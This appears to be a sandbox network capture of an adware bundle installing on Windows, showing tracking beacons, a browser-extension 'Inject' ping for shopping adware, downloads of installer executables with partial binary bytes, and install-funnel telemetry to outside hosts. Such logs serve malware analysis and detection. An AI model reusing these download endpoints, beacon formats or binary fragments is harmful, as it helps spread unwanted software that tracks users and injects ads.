(.....e..!..EU.d....ui..9)E.........G%.1...M.......R..a .......%..
<<< skipped >>>


GET /?type=1&domainId=3026708&dedup=1&actionid=238238 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 3026708.r.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK
Server: Microsoft-IIS/8.0
p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo
Date: Thu, 12 Feb 2015 05:33:59 GMT
Connection: close
HTTP/1.1 200 OK..Server: Microsoft-IIS/8.0..p3p: CP=BUS CUR CONo FIN I
VDo ONL OUR PHY SAMo TELo..Date: Thu, 12 Feb 2015 05:33:59 GMT..Connec
tion: close..



GET /app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTFirefox&rnd=1423719207&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 HTTP/1.1
Host: rep.youtubeaccelerator.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:33:22 GMT..Content-Length: 0..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.85 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 12 Feb 201
5 05:33:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.85 ms","message":"store 1 act
ion and 0 update "}..0..



GET /utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=9421 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:46 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 5k9v3bc1-enehfzfv.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:34:01 GMT
Content-Type: image/gif
Content-Length: 35
Connection: keep-alive
Cache-Control: private
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 12 Feb 
2015 05:34:01 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..



GET /monetization.gif?event=3&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224 HTTP/1.1
Host: logs.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:43 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1423719223.dop005.am4.t,1423719223.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 12 Feb 
2015 05:33:43 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1423719223.dop005.am4.t,1423719223.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224 HTTP/1.1


Host: logs.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:51 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1423719223.dop005.am4.t,1423719231.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 12 Feb 
2015 05:33:51 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1423719223.dop005.am4.t,1423719231.
cds058.am4.c..GIF89a.............,...........D..;..



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=PriceGong_DealPly HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.61 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.61 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.73 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:27 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.73 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 583168
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...
<<< skipped >>>


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1410
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:06 GMT
Connection: close
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1
153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.
8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1">
;here</a>.</h2>..</body></html>....<!DOCTYP
E html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.
org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http:/
/VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Pag
e..</title></head>..<body>..    <form name="form1
" method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&Use
rID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=
10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a115
3-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&am
p;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&
amp;VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1" id="
form1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE
" value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" />..
    <div>..    ..    </div>..    </form>..</b
<<< skipped >>>


-----------------------------32BD0B51735E..Content-Disposition: form-d
ata; name="ProductID"....12000..-----------------------------32BD0B517
35E..Content-Disposition: form-data; name="Version"....3.3.9.4..------
-----------------------32BD0B51735E..Content-Disposition: form-data; n
ame="UserID"....7291521e-e56c-4639-92af-ddebd5cb0120..----------------
-------------32BD0B51735E..Content-Disposition: form-data; name="Passw
ord"....OBum1Uup..-----------------------------32BD0B51735E..Content-D
isposition: form-data; name="XmlData"....<xml><VERSION>3.3
.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoU
jhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfC
c56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5ME
gIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>
;..-----------------------------32BD0B51735E--..

HTTP/1.1 200 OK


Cache-Control: private
Content-Length: 486
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:23 GMT
Connection: close
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGSj3Lve5K2rLPoybgcot35Gkzooig==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286728
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT
Accept-Ranges: bytes
ETag: "da4bdcc41345d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: QRB4L-xd41ETYoLveYVPi7IIcKjCnKzeYhh5O4doHabmtn6o6hdkJg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
................................................................



GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423719224 HTTP/1.1
Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: rxSIlHD3BjRgGCsU4iLWoY3PkroacfIUGVEMJMLS9IZzGitKhlZ26QwQZGX7Ks4y
x-amz-request-id: 8FB79E232623AAEF
Date: Thu, 12 Feb 2015 05:33:42 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rxSIlH
D3BjRgGCsU4iLWoY3PkroacfIUGVEMJMLS9IZzGitKhlZ26QwQZGX7Ks4y..x-amz-requ
est-id: 8FB79E232623AAEF..Date: Thu, 12 Feb 2015 05:33:42 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423719228 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: tRtDUV1fSu0o3i5slzx2g5qbNy4mImFUPkfmNixTUoa9bt MbkUOpQWnR4IOqCtz
x-amz-request-id: 01C2D3616764AE96
Date: Thu, 12 Feb 2015 05:33:44 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423719228 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Ckg52H/R5sCe88TwDEwoPcAcu 3YtbFLa3SkWt8jqrR6GqEw4hBXmTV//QsP4tEg
x-amz-request-id: 740862EE1799ABF7
Date: Thu, 12 Feb 2015 05:33:45 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Ckg52H
/R5sCe88TwDEwoPcAcu 3YtbFLa3SkWt8jqrR6GqEw4hBXmTV//QsP4tEg..x-amz-requ
est-id: 740862EE1799ABF7..Date: Thu, 12 Feb 2015 05:33:45 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423719229 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: TO7MWC6j6Hs0dClkJZqKYq778w3OoT80DEjBat0 9Z8MV6FVVoaUiHkZezefaYxl
x-amz-request-id: 3A3196E532F74D39
Date: Thu, 12 Feb 2015 05:33:46 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: TO7MWC
6j6Hs0dClkJZqKYq778w3OoT80DEjBat0 9Z8MV6FVVoaUiHkZezefaYxl..x-amz-requ
est-id: 3A3196E532F74D39..Date: Thu, 12 Feb 2015 05:33:46 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423719229 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Ac5i3HD/3uYSdJyFuLjzvEX AEwXM 6ad1cRd7MPCWmQg7LX6gxJFCwOXVSUTMMf
x-amz-request-id: B6B644E8EE93ADCE
Date: Thu, 12 Feb 2015 05:33:46 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423719230 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: jBZGCcwd25IWoSUmzDN14YYipY5MRJhqxlAcZU60CFFdw/8ltfwzW9TLIrWbS7l5
x-amz-request-id: B27C78039F40441C
Date: Thu, 12 Feb 2015 05:33:46 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423719230 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2:  K1r4j39ZfQX1x4cvU784rMHmi0m/y10080wz/IFhEQ AXbCwBMGKHq8se66BYSj
x-amz-request-id: 704707E00D2CF215
Date: Thu, 12 Feb 2015 05:33:47 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423719230 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: t5HWVKyV0IsW75pSdywuX8YWhbQmSbmC3HltTM/y0JXsQF4xEWU9cUlLgWpns4Mc
x-amz-request-id: 3B7A38C2B091921C
Date: Thu, 12 Feb 2015 05:33:47 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423719230 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: nD8j50hYrZB l8zm1m7 B9TTJ0Fm5veDkOoU2fexGIm1c2WIY4uyVTiWvIjWbmWB
x-amz-request-id: 2D06BCC1308AED0D
Date: Thu, 12 Feb 2015 05:33:47 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: nD8j50
hYrZB l8zm1m7 B9TTJ0Fm5veDkOoU2fexGIm1c2WIY4uyVTiWvIjWbmWB..x-amz-requ
est-id: 2D06BCC1308AED0D..Date: Thu, 12 Feb 2015 05:33:47 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423719232 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 9ruBe4zBi3uV2DPvc1dkDvNpkRZghDjY1qYo7ZHmoE9OZpT/E59TmBEZxAR4b6zS
x-amz-request-id: 9C94F2AED3E1801E
Date: Thu, 12 Feb 2015 05:33:49 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423719232 HTTP/1.1


Host: errors.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


